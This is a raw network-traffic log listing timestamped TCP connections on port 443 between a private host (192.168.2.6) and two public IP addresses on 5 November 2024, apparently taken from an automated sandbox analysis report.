Nov 5, 2024 20:51:53.748382092 CET	49991	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.748481989 CET	49991	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.748492002 CET	443	49991	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.850358009 CET	443	49987	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.850377083 CET	443	49987	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.850454092 CET	443	49987	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.850480080 CET	49987	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.850770950 CET	49987	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.850770950 CET	49987	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.850809097 CET	49987	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.850814104 CET	443	49987	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.853351116 CET	49992	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.853383064 CET	443	49992	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:53.853554964 CET	49992	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.853612900 CET	49992	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:53.853625059 CET	443	49992	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.468180895 CET	443	49989	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.468991995 CET	49989	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.469011068 CET	443	49989	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.469151020 CET	49989	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.469156027 CET	443	49989	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.469574928 CET	443	49988	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.469957113 CET	49988	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.469983101 CET	443	49988	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.470366001 CET	49988	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.470371008 CET	443	49988	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.498892069 CET	443	49990	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.499610901 CET	49990	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.499610901 CET	49990	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.499624968 CET	443	49990	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.499633074 CET	443	49990	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.500238895 CET	443	49991	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.500960112 CET	49991	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.500960112 CET	49991	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.500981092 CET	443	49991	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.500994921 CET	443	49991	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.606046915 CET	443	49989	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.606116056 CET	443	49989	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.606271982 CET	49989	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.606389046 CET	49989	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.606404066 CET	443	49989	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.606429100 CET	49989	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.606446028 CET	443	49989	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.607160091 CET	443	49988	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.607218981 CET	443	49988	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.608952999 CET	49993	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.608989000 CET	443	49993	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.609015942 CET	49988	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.609015942 CET	49988	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.609059095 CET	49988	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.609074116 CET	443	49988	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.609096050 CET	49993	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.609589100 CET	49993	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.609601021 CET	443	49993	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.610919952 CET	49994	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.610956907 CET	443	49994	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.611093044 CET	49994	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.611172915 CET	49994	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.611186981 CET	443	49994	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.637706041 CET	443	49990	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.637974024 CET	443	49990	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.638051987 CET	49990	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.638067007 CET	49990	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.638067007 CET	49990	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.638073921 CET	443	49990	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.638081074 CET	443	49990	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.638137102 CET	443	49991	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.638204098 CET	443	49991	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.638581038 CET	49991	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.638655901 CET	49991	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.638655901 CET	49991	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.638664007 CET	443	49991	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.638672113 CET	443	49991	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.640120029 CET	443	49992	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.640486956 CET	49995	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.640506029 CET	443	49995	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.640528917 CET	49996	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.640559912 CET	443	49996	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.640585899 CET	49995	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.640674114 CET	49996	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.640826941 CET	49995	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.640827894 CET	49992	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.640836954 CET	443	49995	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.640842915 CET	443	49992	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.640938997 CET	49996	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.640969038 CET	443	49996	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.641308069 CET	49992	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.641311884 CET	443	49992	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.782339096 CET	443	49992	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.782363892 CET	443	49992	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.782468081 CET	49992	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.782479048 CET	443	49992	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.782563925 CET	443	49992	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.782619953 CET	49992	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.782704115 CET	49992	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.782715082 CET	443	49992	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.782725096 CET	49992	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.782728910 CET	443	49992	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.784802914 CET	49997	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.784838915 CET	443	49997	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.785028934 CET	49997	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.785687923 CET	49997	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:54.785698891 CET	443	49997	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:54.975208044 CET	49998	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:54.975255966 CET	443	49998	40.113.110.67	192.168.2.6
Nov 5, 2024 20:51:54.975333929 CET	49998	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:54.975943089 CET	49998	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:54.975955963 CET	443	49998	40.113.110.67	192.168.2.6
Nov 5, 2024 20:51:55.357018948 CET	443	49993	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.357433081 CET	49993	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.357458115 CET	443	49993	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.357847929 CET	49993	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.357852936 CET	443	49993	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.361541033 CET	443	49994	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.361848116 CET	49994	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.361871958 CET	443	49994	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.362220049 CET	49994	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.362226009 CET	443	49994	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.392266989 CET	443	49995	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.392591953 CET	49995	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.392602921 CET	443	49995	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.392915010 CET	49995	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.392918110 CET	443	49995	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.392980099 CET	443	49996	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.393312931 CET	49996	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.393328905 CET	443	49996	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.393649101 CET	49996	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.393654108 CET	443	49996	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.494426966 CET	443	49993	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.494446993 CET	443	49993	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.494498014 CET	443	49993	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.494523048 CET	49993	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.494556904 CET	49993	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.494663000 CET	49993	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.494678020 CET	443	49993	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.494688034 CET	49993	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.494693041 CET	443	49993	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.496902943 CET	49999	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.496929884 CET	443	49999	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.497162104 CET	49999	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.497272968 CET	49999	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.497283936 CET	443	49999	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.530843019 CET	443	49996	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.530862093 CET	443	49996	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.530900955 CET	443	49996	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.530953884 CET	49996	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.530972958 CET	49996	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.531194925 CET	49996	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.531194925 CET	49996	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.531208038 CET	443	49996	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.531215906 CET	443	49996	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.533370972 CET	50000	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.533391953 CET	443	50000	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.533472061 CET	50000	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.533665895 CET	50000	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.533675909 CET	443	50000	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.554347038 CET	443	49997	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.554642916 CET	49997	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.554651022 CET	443	49997	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.555015087 CET	49997	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.555022955 CET	443	49997	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.613420010 CET	443	49994	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.613441944 CET	443	49994	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.613460064 CET	443	49994	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.613537073 CET	49994	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.613578081 CET	443	49994	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.614804029 CET	49994	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.625828028 CET	443	49994	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.625875950 CET	443	49994	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.625886917 CET	49994	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.625921011 CET	49994	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.625977993 CET	49994	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.625992060 CET	443	49994	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.625999928 CET	49994	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.626005888 CET	443	49994	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.628876925 CET	50001	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.628900051 CET	443	50001	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.629431963 CET	50001	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.629710913 CET	50001	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.629724979 CET	443	50001	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.638025999 CET	443	49995	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.638087034 CET	443	49995	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.638125896 CET	443	49995	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.638175011 CET	49995	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.638185024 CET	443	49995	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.638216972 CET	49995	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.638230085 CET	49995	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.646667957 CET	443	49995	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.646749973 CET	49995	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.646755934 CET	443	49995	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.646770954 CET	443	49995	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.646797895 CET	443	49995	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.646826029 CET	49995	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.646861076 CET	49995	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.646935940 CET	49995	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.646943092 CET	443	49995	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.646969080 CET	49995	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.646972895 CET	443	49995	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.648920059 CET	50002	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.648931980 CET	443	50002	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.648997068 CET	50002	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.649139881 CET	50002	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.649149895 CET	443	50002	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.691741943 CET	443	49997	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.691771984 CET	443	49997	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.691819906 CET	49997	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.691823959 CET	443	49997	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.691875935 CET	49997	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.691997051 CET	49997	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.692006111 CET	443	49997	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.692024946 CET	49997	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.692029953 CET	443	49997	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.693905115 CET	50003	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.693929911 CET	443	50003	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:55.694034100 CET	50003	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.694150925 CET	50003	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:55.694163084 CET	443	50003	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.084964991 CET	443	49998	40.113.110.67	192.168.2.6
Nov 5, 2024 20:51:56.085045099 CET	49998	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:56.087663889 CET	49998	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:56.087675095 CET	443	49998	40.113.110.67	192.168.2.6
Nov 5, 2024 20:51:56.087882996 CET	443	49998	40.113.110.67	192.168.2.6
Nov 5, 2024 20:51:56.089672089 CET	49998	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:56.089735985 CET	49998	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:56.089740992 CET	443	49998	40.113.110.67	192.168.2.6
Nov 5, 2024 20:51:56.089886904 CET	49998	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:56.131337881 CET	443	49998	40.113.110.67	192.168.2.6
Nov 5, 2024 20:51:56.247061014 CET	443	49999	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.247442007 CET	49999	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.247458935 CET	443	49999	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.247854948 CET	49999	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.247859955 CET	443	49999	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.332235098 CET	443	50000	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.332765102 CET	50000	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.332786083 CET	443	50000	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.333189011 CET	50000	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.333194971 CET	443	50000	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.339639902 CET	443	49998	40.113.110.67	192.168.2.6
Nov 5, 2024 20:51:56.340148926 CET	49998	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:56.340159893 CET	443	49998	40.113.110.67	192.168.2.6
Nov 5, 2024 20:51:56.340327978 CET	443	49998	40.113.110.67	192.168.2.6
Nov 5, 2024 20:51:56.340359926 CET	49998	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:56.340359926 CET	49998	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:56.340368032 CET	443	49998	40.113.110.67	192.168.2.6
Nov 5, 2024 20:51:56.340380907 CET	49998	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:56.340404987 CET	49998	443	192.168.2.6	40.113.110.67
Nov 5, 2024 20:51:56.379390001 CET	443	50001	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.379870892 CET	50001	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.379894018 CET	443	50001	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.380296946 CET	50001	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.380302906 CET	443	50001	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.383140087 CET	443	49999	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.383158922 CET	443	49999	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.383209944 CET	49999	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.383233070 CET	443	49999	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.383248091 CET	443	49999	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.383285046 CET	49999	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.383418083 CET	49999	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.383429050 CET	443	49999	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.383440971 CET	49999	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.383445978 CET	443	49999	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.385864019 CET	50004	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.385881901 CET	443	50004	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.386017084 CET	50004	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.386193037 CET	50004	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.386204958 CET	443	50004	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.410927057 CET	443	50002	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.411292076 CET	50002	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.411303043 CET	443	50002	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.411663055 CET	50002	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.411665916 CET	443	50002	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.447160006 CET	443	50003	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.447453976 CET	50003	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.447463036 CET	443	50003	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.447817087 CET	50003	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.447823048 CET	443	50003	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.473529100 CET	443	50000	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.473592043 CET	443	50000	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.473710060 CET	50000	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.473731995 CET	50000	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.473741055 CET	443	50000	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.473752022 CET	50000	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.473756075 CET	443	50000	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.475765944 CET	50005	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.475795984 CET	443	50005	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.475852966 CET	50005	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.475990057 CET	50005	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.475999117 CET	443	50005	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.515193939 CET	443	50001	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.515369892 CET	443	50001	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.515492916 CET	50001	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.515523911 CET	50001	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.515539885 CET	443	50001	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.515549898 CET	50001	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.515554905 CET	443	50001	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.517802000 CET	50006	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.517818928 CET	443	50006	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.517882109 CET	50006	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.518042088 CET	50006	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.518048048 CET	443	50006	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.549500942 CET	443	50002	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.549711943 CET	443	50002	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.549757957 CET	50002	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.549840927 CET	50002	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.549845934 CET	443	50002	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.549858093 CET	50002	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.549860954 CET	443	50002	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.552215099 CET	50007	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.552246094 CET	443	50007	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.552331924 CET	50007	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.552491903 CET	50007	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.552505016 CET	443	50007	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.584011078 CET	443	50003	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.584093094 CET	443	50003	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.584213972 CET	50003	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.584247112 CET	50003	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.584259987 CET	443	50003	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.584270000 CET	50003	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.584275007 CET	443	50003	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.586675882 CET	50008	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.586710930 CET	443	50008	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:56.586770058 CET	50008	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.586935043 CET	50008	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:56.586949110 CET	443	50008	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:57.153884888 CET	443	50004	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:57.155247927 CET	50004	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:57.155266047 CET	443	50004	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:57.155713081 CET	50004	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:57.155719042 CET	443	50004	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:57.233792067 CET	443	50005	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:57.235529900 CET	50005	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:57.235563040 CET	443	50005	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:57.236139059 CET	50005	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:57.236148119 CET	443	50005	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:57.292612076 CET	443	50004	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:57.292924881 CET	443	50004	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:57.292970896 CET	443	50004	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:57.293071032 CET	50004	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:57.293071032 CET	50004	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:57.293134928 CET	50004	443	192.168.2.6	13.107.253.45
